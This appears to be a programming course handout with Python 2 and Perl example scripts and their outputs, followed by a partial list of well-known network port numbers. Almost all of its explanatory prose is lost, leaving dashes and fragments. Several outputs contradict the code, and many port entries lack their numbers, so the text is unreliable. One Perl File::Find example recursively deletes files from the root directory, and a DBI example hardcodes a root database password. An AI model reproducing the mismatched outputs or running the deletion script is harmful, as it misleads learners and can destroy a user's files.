#!/usr/bin/python

# Filename: while.py

number = 23

running = True

while running:

guess = int(raw_input('Enter an integer : '))

if guess == number:

print 'Congratulations, you guessed it.'

running = False 

elif guess < number:

print 'No, it is a little higher than that.'

else:

print 'No, it is a little lower than that.'

else:

print 'The while loop is over.'

print 'Done'

$ python while.py

Enter an integer : 50

No, it is a little lower than that.

Enter an integer : 22

No, it is a little higher than that.

Enter an integer : 23

Congratulations, you guessed it.

The while loop is over.

Done

- For -

-

#!/usr/bin/python
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# Filename: for.py

for i in range(1, 5):

print i

else:

print 'The for loop is over'

$ python for.py

1

2

3

4

The for loop is over

- Break -

#!/usr/bin/python

# Filename: break.py

while True:

s = raw_input('Enter something : ')

if s == 'quit':

break

print 'Length of the string is', len(s)

print 'Done'

$ python break.py

Enter something : Programming is fun

Length of the string is 18

Enter something : use Python!

Length of the string is 12

Enter something : quit

Done

- Continue -

If 
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#!/usr/bin/python

# Filename: continue.py

while True:

s = raw_input('Enter something : ')

if s == 'quit':

break

if len(s) < 3:

continue

print 'Input is of sufficient length'

$ python continue.py

Enter something : a

Enter something : 12

Enter something : abc

Input is of sufficient length

Enter something : quit

- -

#!/usr/bin/python

# Filename: func_param.py

def printMax(a, b):

if a > b:

print a, 'is maximum'

else:

print b, 'is maximum'

printMax(3, 4) 

x = 5

y = 7

printMax(x, y) 

$ python func_param.py

4 is maximum

7 is maximum
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#!/usr/bin/python

# Filename: func_local.py

def func(x):

print 'x is', x

x = 2

print 'Changed local x to', x

x = 50

func(x)

print 'x is still', x

$ python func_local.py

x is 50

Changed local x to 2

x is still 50

#!/usr/bin/python

# Filename: func_global.py

def func():

global x

print 'x is', x

x = 2

print 'Changed global x to', x

x = 50

func()

print 'Value of x is', x

$ python func_global.py

x is 50

Changed global x to 2

Value of x is 2

#!/usr/bin/python

# Filename: func_default.py
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def say(message, times = 1):

print message * times

say('Hello')

say('World', 5)

$ python func_default.py

Hello

WorldWorldWorldWorldWorld

#!/usr/bin/python

# Filename: func_return.py

def maximum(x, y):

if x > y:

return x

else:

return y

print maximum(2, 3)

3

DocStrings 

#!/usr/bin/python

# Filename: func_doc.py

def printMax(x, y):

'''Prints the maximum of two numbers.

The two values must be integers.'''

x = int(x)

y = int(y)

if x > y:

print x, 'is maximum'

else:

print y, 'is maximum'

printMax(3, 5)

print printMax.__doc__

$ python func_doc.py

5 is maximum

Prints the maximum of two numbers.
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The two values must be integers.

- -

python- library-

#!/usr/bin/python

# Filename: using_sys.py

import sys

print 'The command line arguments are:'

for i in sys.argv:

print i

print '\n\nThe PYTHONPATH is', sys.path, '\n'

$ python using_sys.py we are arguments

The command line arguments are:

using_sys.py

we

are

arguments

The PYTHONPATH is ['/home/swaroop/byte/code', 

'/usr/lib/python23.zip',

'/usr/lib/python2.3', '/usr/lib/python2.3/plat-linux2',

'/usr/lib/python2.3/lib-tk', '/usr/lib/python2.3/lib-dynload',

'/usr/lib/python2.3/site-packages', '/usr/lib/python2.3/site-

packages/gtk-2.0']

#!/usr/bin/python

# Filename: mymodule.py

def sayhi():

print 'Hi, this is mymodule speaking.'

version = '0.1'

#!/usr/bin/python
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# Filename: mymodule_demo.py

import mymodule

mymodule.sayhi()

print 'Version', mymodule.version

$ python mymodule_demo.py

Hi, this is mymodule speaking.

Version 0.1

- -

Python 

List, Tuple, Dictionary 

(list) 

-

-

#!/usr/bin/python

# Filename: using_list.py

shoplist = ['apple', 'mango', 'carrot', 'banana']

print 'I have', len(shoplist), 'items to purchase.'

print 'These items are:', 

for item in shoplist:

print item,

print '\nI also have to buy rice.'

shoplist.append('rice')

print 'My shopping list is now', shoplist

print 'I will sort my list now'

shoplist.sort()

print 'Sorted shopping list is', shoplist

print 'The first item I will buy is', shoplist[0]

olditem = shoplist[0]

del shoplist[0]
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print 'I bought the', olditem

print 'My shopping list is now', shoplist

$ python using_list.py

I have 4 items to purchase.

These items are: apple mango carrot banana

I also have to buy rice.

My shopping list is now ['apple', 'mango', 'carrot', 'banana', 'rice']

I will sort my list now

Sorted shopping list is ['apple', 'banana', 'carrot', 'mango', 'rice']

The first item I will buy is apple

I bought the apple

My shopping list is now ['banana', 'carrot', 'mango', 'rice']

Dictionary ,

#!/usr/bin/python

# Filename: using_dict.py

# 'ab' is short for 'a'ddress'b'ook

ab = { 'Swaroop' : 'swaroopch@byteofpython.info',

'Larry' : 'larry@wall.org',

'Matsumoto' : 'matz@ruby-lang.org',

'Spammer' : 'spammer@hotmail.com'

}

print "Swaroop's address is %s" % ab['Swaroop']

ab['Guido'] = 'guido@python.org'

del ab['Spammer']

print '\nThere are %d contacts in the address-book\n' % len(ab)

for name, address in ab.items():

print 'Contact %s at %s' % (name, address)

if 'Guido' in ab: # OR ab.has_key('Guido')

print "\nGuido's address is %s" % ab['Guido']

$ python using_dict.py

Swaroop's address is swaroopch@byteofpython.info

There are 4 contacts in the address-book

Contact Swaroop at swaroopch@byteofpython.info

Contact Matsumoto at matz@ruby-lang.org

Contact Larry at larry@wall.org

Contact Guido at guido@python.org

Guido's address is guido@python.org

mailto:'swaroopch@byteofpython.info',
mailto:'larry@wall.org',
mailto:'matz@ruby-lang.org',
mailto:'spammer@hotmail.com'
mailto:'guido@python.org'
mailto:swaroopch@byteofpython.info
mailto:swaroopch@byteofpython.info
mailto:matz@ruby-lang.org
mailto:larry@wall.org
mailto:guido@python.org
mailto:guido@python.org
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#!/usr/bin/python

# Filename: reference.py

print 'Simple Assignment'

shoplist = ['apple', 'mango', 'carrot', 'banana']

mylist = shoplist 

del shoplist[0] 

print 'shoplist is', shoplist

print 'mylist is', mylist

print 'Copy by making a full slice'

mylist = shoplist[:] 

del mylist[0] 

print 'shoplist is', shoplist

print 'mylist is', mylist

$ python reference.py

Simple Assignment

shoplist is ['mango', 'carrot', 'banana']

mylist is ['mango', 'carrot', 'banana']

Copy by making a full slice

shoplist is ['mango', 'carrot', 'banana']

mylist is ['carrot', 'banana']

- -

Windows 

#!/usr/bin/python

# Filename: backup_ver2.py

import os, time

source = ['/home/swaroop/byte', '/home/swaroop/bin']

# If you are using Windows, use source = [r'C:\Documents',r'D:\Work'] 

target_dir = '/mnt/e/backup/' 

today = target_dir + time.strftime('%Y%m%d')

now = time.strftime('%H%M%S')

comment = raw_input('Enter a comment --> ')
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if len(comment) == 0: 

target = today + os.sep + now + '.zip'

else:

target = today + os.sep + now + '_' + \

comment.replace(' ', '_') + '.zip'

if not os.path.exists(today):

os.mkdir(today) 

print 'Successfully created directory', today

zip_command = "zip -qr '%s' %s" % (target, ' '.join(source))

if os.system(zip_command) == 0:

print 'Successful backup to', target

else:

print 'Backup FAILED'

Enter a comment --> added new examples

Successful backup to 

/mnt/e/backup/20041208/082156_added_new_examples.zip

$ python backup_ver4.py

Enter a comment -->

Successful backup to /mnt/e/backup/20041208/082316.zip

- -

#!/usr/bin/python

# Filename: method.py

class Person:

def sayHi(self):

print 'Hello, how are you?'

p = Person()

p.sayHi()

on method.py

Hello, how are you?
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__init__ 

#!/usr/bin/python

# Filename: class_init.py

class Person:

def __init__(self, name):

self.name = name

def sayHi(self):

print 'Hello, my name is', self.name

p = Person('Swaroop')

p.sayHi()

$ python class_init.py

Hello, my name is lagraj

- -

#!/usr/bin/python

# Filename: inherit.py

class SchoolMember:

'''Represents any school member.'''

def __init__(self, name, age):

self.name = name

self.age = age

print '(Initialized SchoolMember: %s)' % self.name

def tell(self):

'''Tell my details.'''

print 'Name:"%s" Age:"%s"' % (self.name, self.age),

class Teacher(SchoolMember):

'''Represents a teacher.'''

def __init__(self, name, age, salary):

SchoolMember.__init__(self, name, age)

self.salary = salary

print '(Initialized Teacher: %s)' % self.name

def tell(self):

SchoolMember.tell(self)
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print 'Salary: "%d"' % self.salary

class Student(SchoolMember):

'''Represents a student.'''

def __init__(self, name, age, marks):

SchoolMember.__init__(self, name, age)

self.marks = marks

print '(Initialized Student: %s)' % self.name

def tell(self):

SchoolMember.tell(self)

print 'Marks: "%d"' % self.marks

t = Teacher('Mrs. Shrividya', 40, 30000)

s = Student('Swaroop', 22, 75)

print 

members = [t, s]

for member in members:

member.tell() 

(Initialized SchoolMember: Mrs. Shrividya)

(Initialized Teacher: Mrs. Shrividya)

(Initialized SchoolMember: Swaroop)

(Initialized Student: Swaroop)

Name:"Mrs. Shrividya" Age:"40" Salary: "30000"

Name:"Swaroop" Age:"22" Marks: "75"

- -

 “w” 

#!/usr/bin/python

# Filename: using_file.py

poem = '''\

Programming is fun

When the work is done

if you wanna make your work also fun:

use Python!

'''

f = file('poem.txt', 'w') 

f.write(poem) 
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f.close() 

f = file('poem.txt') 

while True:

line = f.readline()

if len(line) == 0: 

break

print line, 

f.close() 

Programming is fun

When the work is done

if you wanna make your work also fun:

use Python!
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- -

Perl 

“Good security is dependent on People, Process, and Technology.”



116



117

- -

-

-

-

-

-

-

- -

$a = 2;

$b = 6;

$c = $a . $b;  #

$d = $c / 2;

print $d;

13 
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-

#!/usr/local/bin/perl –w

# Show warnings

$who = ‘Jargal’;

$where = ‘Ulaanbaatar’;

print “My name is $who,\n”;

print “I live in $where,\n”,    

My name is Jargal, I live  in Ulaanbaatar,

#!/usr/bin/perl

print 2,500,000;

25000 

#!/usr/bin/perl

print 2_500_000;

2500000 

@trees = (“Larch”, “Hazel”, “Oak”);

@items = (15, 45.67, “case”);

print “Take $items[0] $items[2]s at \$$items[1] each.\n”;

Take 15 cases at $45.67 each. 

Perl

@A = (1, 2, 3);

@B = (4, 5, 6);

@C = (7, 8, 9);

@D = (@A, @B, @C); 
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@A = (1, 2, 3, 4);

@B = @A;

$C = @A B  1-

-

Perl sort

Print sort ( ‘Beta’, ‘Gamma’, ‘Alpha’ );

AlphaBetaGamma

print join ( ‘ : ‘, ‘Name’, ‘Address’, ‘Phone’  );

Name : Address : Phone. 

print join( ‘, ‘, sort ( ‘Beta’, ‘Gamma’, ‘Alpha’ )  );

Alpha, Beta, Gamma

print join( ‘: ‘, (‘A’, ‘B’, ‘C’), (‘D’, ‘E’),  (‘F’, ‘G’, ‘H’, ‘I’));

A: B: C: D: E: F: G: H: I

@fruit = (“Apple”, “Orange”, “Banana”);

print $fruit[2];

Banana 

%fruit = (“Green”, “Apple”, “Orange”, “Orange”, “Yellow”, “Banana”);

print $fruit{“Yellow”};

Banana 

- -

- -

-

-
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%Folk =   ( ‘YY’, ‘Yon Yonson’, ‘TC’, ‘Terra Cotta’, ‘RE’, ‘Ron Everly’ );

%State = ( ‘YY’, ‘Wisconsin’, ‘TC’, ‘Minnesota’, ‘RE’, ‘Bliss’ );

%Job = ( ‘YY’, ‘work in a police’, ‘TC’, ‘teach nuclear physics’, ‘RE’, 

‘watch football’);

foreach $person ( ‘TC’, ‘YY’, ‘RE’ )  {

        print “My name is $Folk{$person},\n”,

              “I live in $State{$person},\n”,

              “I $Job{$person} there.\n\n”;

        }

My name is Terra Cotta,

I live in Minnesota,

I teach nuclear physics there. 

My name is Yon Yonson, 

I live in Wisconsin,

I work in a police there.

My name is Ron Everly, 

I live in Bliss,

I watch football there.

- -

Perl

-

#!/usr/bin/perl

print "21 - 25 is: ", 25 - 21, "\n";

print "4 + 13 - 7 is: ", 4 + 13 - 7, "\n";

21 - 25 is: 4

4 + 13 - 7 is: 10

-

#!/usr/bin/perl

print"51 ANDed with 85 gives us ", 51 & 85, "\n";

51 ANDed with 85 gives us 17
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-

#!/usr/bin/perl

print"Which came first, the chicken or the egg? ";

print "chicken" cmp "egg", "\n";

print "Are dogs greater than cats? ";

print "dog" gt "cat", "\n";

print "Is ^ less than + ? ";

print "^" lt "+", "\n";

Which came first, the chicken or the egg? -1

Are dogs greater than cats? 1

Is ^ less than + ?

#!/usr/bin/perl

print"5 >  6? ",      5 >  6, "\n";

print "7 < 16? ", 7 < 16, "\n";

print "2 == 2? ",        2 == 2, "\n";

print "1 >  1? ",       1 >  1, "\n";

print "6 != 7? ",  6 != 7, "\n";

print "Compare 8 and 4? ", 8 <=> 4, "\n";

print "Compare 7 and 7? ", 7 <=> 7, "\n";

5 >  6?

7 < 16? 1

2 == 2? 1

1 >  1?

6 != 7? 1

Compare 8 and 4? 1

Compare 7 and 7? 0

-

$Weekend = $Saturday || $Sunday;

Sunday 

Weekend 

$value > 10 || print “Oops, low value $value …\n”;

-

10-  print 

Oops, low value 6…
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$Solvent = ($income > 3) && ($debts < 10);

- -

$value > 10 && print “OK, value is high enough…\n”;

-

( String ) -

#!/usr/bin/perl

print "Ba". "na"x4*3 ,"\n";

print "Ba". "na"x(4*3) ,"\n";

Ba0

Banananananananananananana

– - -

#!/usr/bin/perl

$a=4;

$b=10;

print "Our variables are ", $a, " and ", $b, "\n";

$b=$a++;

print "After incrementing, we have ", $a, " and ", $b, "\n";

$b=++$a*2;

print "Now, we have ", $a, " and ", $b, "\n";

$a=--$b+4;

print "Finally, we have ", $a, " and ", $b, "\n";

Our variables are 4 and 10

After incrementing, we have 5 and 4

Now, we have 6 and 12

Finally, we have 15 and 11

- -

-

-
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if(-e $filename) {…}

-e

-f

-d

-z

-s

-r

-w

#!/usr/bin/perl

print "Contents of the current directory:\n";

opendir DH, "." or die "Couldn't open the current directory: $!";

while ($_ = readdir(DH)) {

next if $_ eq "." or $_ eq "..";

print $_, " " x (30-length($_));

print "d" if -d $_;

print "r" if -r _;

print "w" if -w _;

print "x" if -x _;

print "o" if -o _;

print "\t";

print -s _ if -r _ and -f _;

 print "\n";

} 

Contents of the current directory:

badopen.plx                rwo        111

chapter6.txt                rwo        2860

copy.plx                      rwo        346

directory.plx               rwo        514

filetest1.plx                 rwo        1387

fortune.plx                  rwo        241

gettysburg.txt             rwo        1459

glob.plx                      rwo        119

headline.plx               rwo        521

inventory.plx              rwo        535
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-

.

-

==

!=

< = >

>

>=

<

<=

Open (ERRLOG, “test.log”) unless $NoLog;

print “Success” unless $error>2;

22 (), [], {}

21 >

20 ++, --

19 **

18 !, ~, +, -, 

\

17 =~, !~

16 *, /, % x

15 +, -, .

14 <<, >>

13

12

11

10 &

9 |, ^
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8 &&

7 ||

6 ..

5 ?:

4

3 ,

2 not

1 and

0 or, xor

- -

Perl  while, until, for, foreach 

. 

#!/usr/bin/perl

my $countdown = 5;

while ($countdown > 0) {

        print "Counting down: $countdown\n";

        $countdown--;

}

: Counting down: 5

Counting down: 4

Counting down: 3

Counting down: 2

Counting down: 1

Last . :

#!/usr/bin/perl

my @array = ( "red", "blue", "STOP THIS NOW", "green");

for (@array) {

        last if $_ eq "STOP THIS NOW";

        print "Today's colour is $_\n";

}

: Today's colour is red

Today's colour is blue

 next 

. :



126

#!/usr/bin/perl

my @array = (8, 3, 0, 2, 12, 0);

for (@array) {

    if ($_ == 0) {

          print "Skipping zero element.\n";

          next;

        }

print "48 over $_ is ", 48/$_, "\n";

} 

: 48 over 8 is 6

48 over 3 is 16

Skipping zero element.

48 over 2 is 24

48 over 12 is 4

Skipping zero element.

Foreach 

block . :

@numbers = (“one”, “two”, “three”, “four”);

foreach $num ( @numbers )   {

   print “Number $num…\n”;

   }

: Number one…

Number two…

Number three…

Number four…

- -

Perl -

STDIN, STDOUT, 

STDERR

print (STDERR “Oops, something broke.\n”);

#!/usr/bin/perl

open FILE, "nlexample.txt" or die $!;

my $lineno = 1;
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while (<FILE>) {

       print $lineno++;

       print ": $_";

}

1: One day you're going to have to face

2:         A deep dark truthful mirror,

3: And it's gonna tell you things that I still

4:         Love you too much to say.

5: ####### Elvis Costello, Spike, 1988 #######

#!/usr/bin/perl

my $source = $ARGV[0];

my $destination = $ARGV[1];

open IN, $source or die "Can't read source file $source: $!\n";

open OUT, ">$destination" or die "Can't write on file $destination: 

$!\n";

print "Copying $source to $destination\n";

while (<IN>) {

   print OUT $_;

}

Copying gettsburg.txt to speech.txt

#!/usr/bin/perl

my $numeric = 0;

my $input = shift;

if (defined $input and $input eq "-n") {

   $numeric = 1;

   $input = shift;

}

my $output = shift;

if (defined $input) {

   open INPUT, $input or die "Couldn't open file $input: $!\n";

} else {

   *INPUT = *STDIN;

}

if (defined $output) {

   open OUTPUT, ">$output" or die "Couldn't open file $input: $!\n";

} else {
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   *OUTPUT = *STDOUT;

}

my @file = <INPUT>;

if ($numeric) {

   @file = sort { $a <=> $b } @file;

} else {

   @file = sort @file;

}

print OUTPUT @file;

And nail my feet up where my head should be

And you can all die laughing, because I'd wear it proudly

If they had a king of fools then I could wear that crown

Well, I finally found someone to turn me upside-down

<

>

>>

+<

+>

- Labels -

. 

Next -

Last -

Redo -

RECORD:  while ( <INFILE> )  {

   $even = !$even;

   next RECORD if $even;

   print;
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   }

- Subroutines -

-

-

sub subroutine-name {

statements

}

#!/usr/bin/perl –w

&egsub1; 

sub egsub1 {

     print “This subroutine simply prints this line.\n”;

} 

Subroutine-

#!/usr/bin/perl

my ($hours, $minutes, $seconds) = secs2hms(3723);

print "3723 seconds is $hours hours, $minutes minutes and $seconds 

seconds";

print "\n";

sub secs2hms {

   my ($h,$m);

   my $seconds = shift;

   $h = int($seconds/(60*60)); $seconds %= 60*60;

   $m = int($seconds/60);      $seconds %= 60;

   return ($h,$m,$seconds);

}

3723 seconds is 1 hours, 2 minutes and 3 seconds  

$x = 45;

$y = 3;
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print “The ($x+1) * ($y+1) “;

$returnval = &egsub6($x,$y);

print “is $returnval.\n”;

print “Note that \$x now is $x, and \$y now is $y.\n”;

sub egsub6 { # Access $x and $y by reference

    return ($_[0]++ * $_[0]++);

}

The (45+1) * (3+1) is 2070.

Note that $x now is 47, and $y now is 3.

for ($x=1; $x<=10; $x++) {

        print “Factorial $x is “,&factorial($x), “\n”;

}

sub factorial {

        local($x) = @_;

        if ($x == 1) {

                return 1;

        }

        else {

              return ($x*factorial($x-1));

        }

}

Factorial 1 is 1

Factorial 2 is 2

Factorial 3 is 6

Factorial 4 is 24

Factorial 5 is 120

Factorial 6 is 720

Factorial 7 is 5040

Factorial 8 is 40320

Factorial 9 is 362880

Factorial 10 is 3628800

#!/usr/bin/perl

my $x = 10;

$_ = "alpha";

{
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   my $x = 20;

   local $_ = "beta";

   somesub();

}

somesub();

sub somesub {

   print "\$x is $x\n";

   print "\$_ is $_\n";

}

$x is 10

$_ is beta

$x is 10

$_ is alpha

- Pattern matching -

-

#!/usr/bin/perl

my $found = 0;

$_ = "Nobody wants to hurt you... 'cept, I do hurt people sometimes, 

Case.";

my $sought = "people";

foreach my $word (split) {

        if ($word eq $sought) {

                $found = 1;

                last;

        }

}

if ($found) {

        print "Hooray! Found the word 'people'\n";

}

Hooray! Found the word 'people'

\
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\a

\b Backspace

\d 0-

\D

\n 

\r

\t

\f Formfeed

\s 1 

\S

\v

\w

\W

\x{2620}

Substitution -

#!/usr/bin/perl

$_ = "Awake! Awake! Fear, Fire, Foes! Awake! Fire, Foes! Awake!";

s/Foes/Flee/;

print $_,"\n";

Awake! Awake! Fear, Fire, Flee! Awake! Fire, Foes! Awake!

- -

•

•

•

do, require, use Do -

#!/usr/bin/perl

my $a = "Been there, done that, got the T-shirt";

do "printit.plx";
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print $a; 

-

#!/usr/bin/perl

require "nothere.plx";

Can't locate nothere.plx in @INC (@INC contains: …\Chap10 

C:/

require Monty::Phyton; 

if($graphical) {

use MyProgram::Graphical;

} else {

use MyProgram::Test;

}

File::Find

#!/usr/bin/perl

use File::Find;

find(\&cleanup, "/");

sub cleanup {

if (-A > 180) {

  print "Deleting old file $_\n";

  unlink $_ or print "oops, couldn't delete $_: $!\n";

  return;

}

open (FH, $_) or die "Couldn't open $_: $!\n";

for (1..5) {

  my $line = <FH>;

  if ($line =~ /Perl|Simon|important/i) {

  return;

      }

   }

   print "Deleting unimportant file $_\n";

   unlink $_ or print "oops, couldn't delete $_: $!\n";
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}

Deleting old file .

oops, couldn't delete .:

Deleting unimportant file Backup.zip

oops, couldn't delete Backup.zip: Permission denied

Getopt::Std

#!/usr/bin/perl

use Getopt::Std;

my %options;

getopts("vhl:",\%options);

if ($options{v}) {

   print "Hello World, version 3.\n";

   exit;

} elsif ($options{h}) {

   print <<EOF;

$0: Typical Hello World program

Syntax: $0 [–h|-v|-l <language>]

-h : This help message

-v : Print version on standard output and exit

-l : Turn on international language support.

EOF

   exit;

} elsif ($options{l}) {

   if ($options{l} eq "french") {

      print "Bonjour, tout le monde.\n";

   } else {

      die "$0: unsupported language\n";

   }

} else {

   print "Hello, world.\n";

}

Hello, world.

Getopt::Long

File::Spec

#!/usr/bin/perl

use File::Spec::Functions;
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foreach (path()) {

   my $test = catfile($_,"dir");

   print "Yes, dir is in the $_ directory.\n";

   exit;

}

print "dir was not found here.\n";

Yes, dir is in the C:\WINDOWS\system32 directory.

#!/usr/bin/perl

use Benchmark;

my $howmany = 10000;

my $what    = q/my $j=1; for (1..100) {$j*=$_}/;

timethis($howmany, $what);

timethis 10000:  1 wallclock secs ( 0.31 usr +  0.00 sys =  

0.31 CPU) @ 31948.88/s (n=10000)

 (warning: too few iterations for a reliable count)

Win32::Sound

#!/usr/bin/perl

use Win32::Sound;

my $wav;

Win32::Sound::Volume(65535);

opendir (DIR, ".") or die "Couldn't open directory: $!";

while ($wav = readdir(DIR)) {

Win32::Sound::Play($wav);

}

- -

Perl 5-

Encapsulation: 
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#!/usr/bin/perl

my $a = [];

my $b = {};

my $c = \1;

my $d = \$c;

print '$a is a ', ref $a, " reference\n";

print '$b is a ', ref $b, " reference\n";

print '$c is a ', ref $c, " reference\n";

print '$d is a ', ref $d, " reference\n"; 

$a is a ARRAY reference

$b is a HASH reference

$c is a SCALAR reference

$d is a REF reference

#!/usr/bin/perl

use Person4;

my $object = Person->new (

   surname    => "Galilei",

   forename   => "Galileo",

   address    => "9.81 Pisa Apts.",

   occupation => "bombadier"

);

print "This person's surname: ", $object->surname, "\n";

This person's surname: Galilei 

#!/usr/bin/perl

use warnings;

use strict;

use Person6;

print "In the beginning: ", Person->headcount, "\n";

my $object = Person->new (

   surname    => "Gallelei",

   forename   => "Galleleo",

   address    => "9.81 Pisa Apts.",

   occupation => "bombadier"

);

print "Population now: ", Person->headcount, "\n";
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my $object2 = Person->new (

   surname    => "Einstein",

   forename   => "Albert",

   address    => "9E16, Relativity Drive",

   occupation => "Plumber"

);

print "Population now: ", Person->headcount, "\n";

In the beginning: 0

Population now: 1

Population now: 2

#!/usr/bin/perl

use Employee1;

my $object = Employee->new (

   surname    => "Galilei",

   forename   => "Galileo",

   address    => "9.81 Pisa Apts.",

   occupation => "bombadier"

);

$object->printletter("You owe me money. Please pay it.");

Galileo Galilei

9.81 Pisa Apts.

30/11/2005

Dear Galileo,

You owe me money. Please pay it.

Yours faithfully,

- -

- (DataBase 

-

DBM
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gdbm - Gnu DBM

ndbm - ‘new’ DBM GDBM-

odbm - ‘old’ DBM DBM

sdbm -

bsd-db - ‘Berkeley’ DB

#!/usr/bin/perl

use POSIX;

use SDBM_File;           # or GDBM_File / NDBM_File / AnyDBM_File...

my %dbm;

my $db_file="/tmp/demo.dbm";

tie %dbm, 'SDBM_File', $db_file, O_RDWR, 0;

#!/usr/bin/perl

#copydbm.plx

use POSIX;

use NDBM_File;

use GDBM_File;

my (%ndbm_db,%gdbm_db);

my $ndbm_file='/tmp/my_old_ndbm_database';

my $gdbm_file='/tmp/my_new_gdbm_database';

tie %ndbm_db, 'NDBM_File',$ndbm_file, O_RDONLY, 0;

tie %gdbm_db, 'GDBM_File',$gdbm_file, O_CREAT|O_WRONLY, 0644;

%gdbm_db=%ndbm_db;

untie %ndbm_db;

untie %gdbm_db;

-
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DBD::ADO - Microsoft-

DBD::Adabas - Adabese 

DBD::Altera - Altera 

DBD::CSV - Comma-Separated Value SQL 

DBD::DB2 - IBM-

DBD::Empress - Empressnet 

DBD::Illustra - Illustra 

DBD::Informix - Informix SE, Informix Online 

DBD::Ingres -

DBD::Interbase - Interbase 

DBD::ODBC - Microsoft-

DBD::Oracle - Oracle 

DBD::Pg - PostgreSQL 

DBD::Proxy - DBI-

DBD::Search server - Search server/PCDOCS.
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DBD::Solid - Solid 

DBD::Sybase - Sybese 

DBD::Unify - Unify 

DBD::XBase -

Msql-MySQL-modules -

my $dbh=DBI->connect('dbi::') ||

  die "Error opening database: $DBI::errstr\n";

$dbh->disconnect;

#!\usr\bin\perl

use DBI;

my ($dbh, $sth);

$dbh=DBI->connect('dbi:mysql:test','root','elephant') ||

   die "Error opening database: $DBI::errstr\n";

$sth=$dbh->prepare("CREATE TABLE checkin (

          id        INTEGER AUTO_INCREMENT PRIMARY KEY,

         firstname     VARCHAR(32) NOT NULL,

    lastname     VARCHAR(32) NOT NULL,

    checkedin     INTEGER,

    numberofbags   INTEGER,

    destination     VARCHAR(32) NOT NULL)");

$sth->execute();           # execute the statement

$sth->finish();            # finish the execution

print "All done\n";

$dbh->disconnect || die "Failed to disconnect\n";
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- -
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- -

Internet 

Assigned Numbers Authority

0 - 1023  

- -

http://www.iana.org/assignments/port-numbers

- TCP Port Service Multiplexer

2 - Management Utility

 7 - Echo

 11 - Active Users

 13 - Daytime

 18 - Message Send Protocol

 19 - Character Generator

 20 - File Transfer ( )

- File Transfer Protocol

- SSH Remote Login Protocol

- Telnet

- Private mail system

- Simple Mail Transfer Protocol

 35 - Private Printer Server

 37 - Time

 38 - Route Access Protocol

 39 - Resource Location Protocol

 42 - Host Name Server

 43 - Who Is

 45 - Message Processing Module

 49 - Login Host Protocol

 50 - Remote Mail Checking Protocol

 52 - XNS Time Protocol

53 - Domain Name Server

http://www.iana.org/assignments/port-numbers
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- XNS Clearinghouse

- XNS Authentication

- Private Terminal Access

- XNS Mail

- Private File Service

- Whois++

- Oracle SQL*NET

69 - Trivial File Transfer Protocol

- Gopher

 79 - Finger

- HTTP 

81 - HOSTS2 Name Server

 84 - Common Trace Facility

 87 - Private Terminal Link

 89 - SU/MIT Telnet Gateway

 90 - DNSIX Securit Attribute Token Map

 92 - Network Printing Protocol

 93 - Device Control Protocol

 101 - NIC Host Name Server

 103 - Genesis Point-to-Point Trans Net

 107 - Remote Telnet Service

 109 - Post Office Protocol (POP2)

110 - POP3

111 - SUN Remote Procedure Call

- Authentication Service

- Simple File Transfer Protocol

- SQL Services

- Network News Transfer Protocol

 121 - Encore Expedited Remote Pro.Call

 123 - Network Time Protocol

 129 - Password Generator Protocol

- NETBIOS Name Service

- NETBIOS Datagram Service

- SMB / NETBIOS Session Service

 143 - Internet Message Access Protocol

 148 - Jargon

 150 - SQL-NET

 152 - Background File Transfer Program

 153 - SGMP
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 156 - SQL Service

 158 - PCMail Server

159 - NSS-Routing

- SGMP-TRAPS

- SNMP in

- SNMP trap

- CMIP/TCP Manager

- CMIP/TCP Agent

- Xerox

- Sirius Systems

- Border Gateway Protocol

- Queued File Transport

- Gateway Access Control Protocol

- Spider Remote Monitoring Protocol

- Internet Relay Chat Protocol

- Directory Location Service

- Directory Location Service Monitor

- SMUX

- Quick Mail Transfer Protocol

- dBASE Unix

- Interactive Mail Access Protocol v3

- Efficient Short Remote Operations

- Openport

- IIOP Name Service over TLS/SSL

- AppleShare IP WebAdmin

- Zebra server

- Fatmen Server

- Cabletron Management Protocol

- Network Security Risk Management Protocol

- Semantix

- Aurora CMGR

- ListProcessor

- A Remote Network Server System

- Multi Protocol Trans. Net

- Kryptolan

- Interactive Mail Support Protocol

- Storage Management Services Protocol

- InfoSeek

- NNSP
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- MobileIP-Agent

- MobilIP-MN

- HTTPS

 444 - Simple Network Paging Protocol

 445 - Microsoft SQL Server over NetBIOS

- Computer Supported Telecomunication Applications

451 - Cray Network Semaphore server

469 - Radio Control Protocol

470 - SCX-proxy

 479 - Iafserver

 480 - Iafdbase

 501 - STMF

 505 - Mailbox-lm

 519 - Unixtime

 529 - IRC-SERV

 531 - Chat

 537 - Networked Media Streaming Protocol

546 - DHCPv6 Client

547 - DHCPv6 Server

 552 - DeviceShare

 563 - NNTP protocol over TLS/SSL

 565 - Whoami

 574 - FTP Software Agent System

 580 - SNTP HEARTBEAT

586 - Password Change

 595 - CAB Protocol

 600 - Sun IPC server

 604 - TUNNEL

 614 - SSLshell

 615 - Internet Configuration Manager

 647 - DHCP Failover

651 - IEEE MMS

660 - MacOS Server Admin

 689 - NMAP

 691 - MS Exchange Routing

 695 - IEEE-MMS-SSL

810 - FCP

 830 - NETCONF over SSH

 989 - FTP protocol, data, over TLS/SSL
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 990 - FTP protocol, control, over TLS/SSL

 992 - Telnet protocol over TLS/SSL

 993 - IMAP4 protocol over TLS/SSL

994 - IRC protocol over TLS/SSL

 995 - POP3 protocol over TLS/SSL

 1038 - Message Tracking Query Protocol

 1045 - Fingerprint Image Transfer Protocol

 1046 - WebFilter Remote Monitor

 1052 - Dynamic DNS Tools

 1061 - KIOSK

 1085 - Web Objects

1096 - Common Name Resolution Protocol

- Oracle WebCache Listener

 1114 - Mini SQL

 1119 - Battle.net Chat/Game Protocol

 1120 - Battle.net File Transfer Protocol

 1157 - Oracle iASControl

 1159 - Oracle OMS

 1175 - Dossier Server

 1176 - Indigo Home Server

 1186 - MySQL Cluster Manager

 1194 - OpenVPN

 1204 - Log Request Listener

 1214 - KAZAA

 1224 - VPNz

 1227 - DNS2Go

 1241 - Nessus

 1258 - Open Network Library

 1267 - eTrust Policy Compliance

 1270 - Microsoft Operations Manager

 1289 - JWalkServer

 1290 - WinJaServer

1308 - Optical Domain Service Interconnect

 1333 - Password Policy

 1369 - GlobalView to Unix Shell

 1370 - Unix Shell to GlobalView

 1392 - Print Manager

 1393 - Network Log Server
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3 - Microsoft SQL

- Microsoft SQL

 1498 - Sybase SQL

 1512 - Microsoft's Windows Internet Name Service

 1525 - Oracle

 1527 - Oracle

 1529 - Oracle

1571 - Oracle Remote Data Base

 1689 - Firefox

1893 - MSN messenger

- Microsoft SQL Server 7

- Hot Standby Router Protocol

 2029 - Hot Standby Router Protocol IPv6

